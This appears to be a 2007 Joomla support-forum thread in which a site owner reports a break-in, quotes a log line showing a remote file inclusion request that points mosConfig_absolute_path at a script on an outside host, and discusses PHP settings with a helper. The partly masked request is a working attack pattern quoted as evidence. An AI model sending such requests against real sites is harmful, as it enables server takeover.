Hacked via jumi-module

OskarMaria · **Joined:** Wed Sep 28, 2005 11:56 am **Posts:** 14

Last night my joomla installation (1.0.12) was hacked. The hackers got control via c**.txt script.

I found the following attack in the log-files:

Code:

82.48.**.*** - - [26/Nov/2007:20:55:39 +0100] "GET /mambo/templates/******/images/header.gif HTTP/1.1" 200 6824 "http://www.****.de/mambo/?mosConfig_absolute_path=http://www.selectchile.com/c**.txt??""

After testing all extra components and modules, I think the script got control via the "jumi" module, Version 1.0. I tested version 1.1 too and got the same results.

OskarMaria

RussW · **Posted:** Wed Nov 28, 2007 3:00 am

If you have PHP register_globals or Joomla! RG_EMULATION ON, this style of exploit is possible, turning off these two items and implementing the default Jomla! .htaccess file will assist in stopping this type exploit from being successful.

OskarMaria · **Joined:** Wed Sep 28, 2005 11:56 am **Posts:** 14

RussW wrote:

If you have PHP register_globals or Joomla! RG_EMULATION ON, this style of exploit is possible, turning off these two items and implementing the default Jomla! .htaccess file will assist in stopping this type exploit from being successful.

Hi RussW,

thanks for your answer - but in my case I have set both to OFF. These are my settings:

Code:

Relevant PHP Settings:      
Joomla! Register Globals Emulation:    OFF    
Register Globals:    OFF    
Magic Quotes:    ON    
Safe Mode:    OFF    
File Uploads:    ON    
Session auto start:    OFF    

The htaccess settings are not supported by my hoster.
Regards OskarMaria

Joomla! Discussion Forums

Hacked via jumi-module

Quick reply

Who is online